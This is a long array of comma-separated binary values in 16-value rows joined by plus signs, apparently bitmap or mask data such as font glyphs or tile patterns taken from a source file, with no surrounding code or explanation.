0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0, + 1,1,1,0,1,1,1,0,0,0,0,1,1,1,0,0, + 0,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0, + 1,1,1,1,1,0,0,1,1,1,1,1,0,0,0,1, + 1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,1, + 1,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0, + 0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,1,1,1,0,0,0,1,1,0,0, + 1,1,1,0,0,1,1,1,0,0,0,1,1,1,0,1, + 1,1,0,0,0,0,0,1,1,1,1,0,1,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,0, + 1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1, + 1,1,0,0,0,0,0,1,1,1,1,0,1,1,1,0, + 0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0, + 1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1, + 1,1,0,1,1,1,0,0,0,0,1,1,1,0,1,1, + 1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0, + 0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0, + 0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1, + 0,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1, + 0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0, + 0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0, + 1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1, + 0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1, + 1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1, + 1,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0, + 0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0, + 1,1,1,1,0,1,1,1,1,0,0,0,0,0,1,1, + 1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,1,1,1,1, + 1,1,0,0,0,1,1,1,1,0,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1, + 1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,1,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0, + 0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1, + 1,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0, + 0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0, + 0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,1,0,0,0,0,0,1,1,1,0,0,1, + 1,1,0,0,0,0,1,1,1,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0, + 0,1,1,0,0,0,1,1,1,0,1,1,0,0,0,0, + 1,1,1,0,1,1,1,0,0,0,0,1,1,1,0,0, + 0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,1,1,1,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0, + 1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1, + 1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,1, + 1,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0, + 0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,1,1,1,0,0,0,1,1,0,0, + 1,1,1,0,0,1,1,1,0,0,0,0,1,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0, + 0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1, + 1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1, + 1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0, + 0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0, + 1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1, + 1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1, + 1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0, + 0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0, + 0,1,1,1,0,0,1,1,1,1,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1, + 1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1, + 0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0, + 0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1, + 1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1, + 1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1, + 1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1, + 1,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0, + 0,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1, + 0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,1,1,1,1, + 1,1,0,0,0,1,1,1,1,0,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1, + 1,1,0,0,0,0,1,1,1,1,0,0,0,1,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0, + 0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,1,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1, + 1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0, + 0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0, + 0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1, + 1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0, + 0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1, + 1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1, + 1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1, + 1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0, + 0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0, + 1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0, + 1,1,1,0,1,1,1,0,0,0,0,1,1,1,0,0, + 0,1,1,1,1,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0, + 1,0,1,1,1,0,0,1,1,1,0,1,1,0,0,1, + 1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,1, + 1,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0, + 0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0, + 1,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0, + 0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0, + 0,1,0,0,0,0,1,1,1,0,0,1,1,1,1,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1, + 0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1, + 1,0,0,1,1,1,0,0,1,1,1,1,0,0,1,1, + 1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0, + 0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,1, + 1,1,0,0,1,1,1,1,0,0,0,0,0,1,1,1, + 1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0, + 1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,1,1,1,0,0,1,1,1,0,0, + 0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,1, + 1,1,0,0,0,0,1,1,1,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,1, + 1,1,0,0,0,1,1,1,1,0,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,0,0,0,1,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1, + 1,1,0,0,0,0,1,1,1,1,0,0,0,1,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0, + 0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,1,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1, + 1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,0,0,1,1,1,1,0,0,0,1, + 1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0, + 0,1,1,1,0,1,1,0,1,1,1,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1, + 1,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0, + 0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1, + 1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,0,1,1,1,1, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1, + 1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1, + 1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,0, + 1,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1, + 1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0, + 0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0, + 1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1, + 1,0,1,1,1,0,0,1,1,1,0,1,1,0,0,1, + 1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,1,1,1,1,0,0,1,1, + 1,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0, + 0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0, + 1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0, + 0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1, + 1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1, + 1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,1, + 1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,1,1,1,0,0,0,1,1,0,0, + 1,1,1,0,0,1,1,0,0,0,0,1,1,1,0,1, + 1,1,0,0,0,0,0,1,1,1,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,0, + 1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1, + 0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1, + 1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0, + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0, + 0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1, + 1,1,1,0,0,1,1,1,1,0,0,0,0,0,0,1, + 1,1,1,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1, + 1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0, + 0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1, + 1,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0, + 1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0, + 0,1,1,1,0,1,1,0,1,1,1,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0, + 0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1, + 1,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1, + 1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1, + 1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1, + 1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1, + 1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0, + 0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0, + 1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0, + 0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1, + 1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1, + 1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1, + 1,0,0,0,0,0,1,1,1,0,0,1,1,1,1,1, + 1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1, + 1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0, + 0,1,1,0,0,1,1,1,0,0,0,0,1,1,1,0, + 1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0, + 0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1, + 1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1, + 1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,1, + 1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,1,1,1,0,0,0,1,1,0,0, + 1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1, + 1,0,0,0,0,0,0,1,1,1,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0, + 0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,0,1,1,1,1,0,1,1,1,0,0, + 1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1, + 0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1, + 0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1, + 